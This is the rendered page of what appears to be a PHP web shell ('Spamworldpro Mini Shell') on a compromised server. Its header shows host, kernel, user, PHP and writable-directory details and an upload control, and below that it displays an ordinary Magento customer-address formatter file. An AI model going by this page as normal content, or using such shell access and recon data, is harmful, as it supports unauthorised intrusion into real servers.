Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-customer/Model/Address/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-customer/Model/Address/CustomerAddressDataFormatter.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

namespace Magento\Customer\Model\Address;

use Magento\Customer\Api\Data\AddressInterface;
use Magento\Customer\Model\Address\Mapper as AddressMapper;
use Magento\Customer\Model\Address\Config as AddressConfig;

/**
 * Provides method to format customer address data.
 */
class CustomerAddressDataFormatter
{
    /**
     * @var AddressMapper
     */
    private $addressMapper;

    /**
     * @var AddressConfig
     */
    private $addressConfig;

    /**
     * @var CustomAttributesProcessor
     */
    private $customAttributesProcessor;

    /**
     * @param Mapper $addressMapper
     * @param Config $addressConfig
     * @param CustomAttributesProcessor $customAttributesProcessor
     */
    public function __construct(
        AddressMapper $addressMapper,
        AddressConfig $addressConfig,
        CustomAttributesProcessor $customAttributesProcessor
    ) {
        $this->addressMapper = $addressMapper;
        $this->addressConfig = $addressConfig;
        $this->customAttributesProcessor = $customAttributesProcessor;
    }

    /**
     * Prepare customer address data.
     *
     * @param AddressInterface $customerAddress
     * @return array
     * @throws \Magento\Framework\Exception\LocalizedException
     */
    public function prepareAddress(AddressInterface $customerAddress)
    {
        $resultAddress = [
            'id' => $customerAddress->getId(),
            'customer_id' => $customerAddress->getCustomerId(),
            'company' => $customerAddress->getCompany(),
            'prefix' => $customerAddress->getPrefix(),
            'firstname' => $customerAddress->getFirstname(),
            'lastname' => $customerAddress->getLastname(),
            'middlename' => $customerAddress->getMiddlename(),
            'suffix' => $customerAddress->getSuffix(),
            'street' => $customerAddress->getStreet(),
            'city' => $customerAddress->getCity(),
            'region' => [
                'region' => $customerAddress->getRegion()->getRegion(),
                'region_code' => $customerAddress->getRegion()->getRegionCode(),
                'region_id' => $customerAddress->getRegion()->getRegionId(),
            ],
            'region_id' => $customerAddress->getRegionId(),
            'postcode' => $customerAddress->getPostcode(),
            'country_id' => $customerAddress->getCountryId(),
            'telephone' => $customerAddress->getTelephone(),
            'fax' => $customerAddress->getFax(),
            'default_billing' => $customerAddress->isDefaultBilling(),
            'default_shipping' => $customerAddress->isDefaultShipping(),
            'inline' => $this->getCustomerAddressInline($customerAddress),
            'custom_attributes' => [],
            'extension_attributes' => $customerAddress->getExtensionAttributes(),
            'vat_id' => $customerAddress->getVatId()
        ];

        if ($customerAddress->getCustomAttributes()) {
            $customerAddress = $customerAddress->__toArray();
            $resultAddress['custom_attributes'] = $this->customAttributesProcessor->filterNotVisibleAttributes(
                $customerAddress['custom_attributes']
            );
        }

        return $resultAddress;
    }

    /**
     * Set additional customer address data
     *
     * @param AddressInterface $address
     * @return string
     */
    private function getCustomerAddressInline(AddressInterface $address): string
    {
        $builtOutputAddressData = $this->addressMapper->toFlatArray($address);
        return $this->addressConfig
            ->getFormatByCode(AddressConfig::DEFAULT_ADDRESS_FORMAT)
            ->getRenderer()
            ->renderArray($builtOutputAddressData);
    }
}

Spamworldpro Mini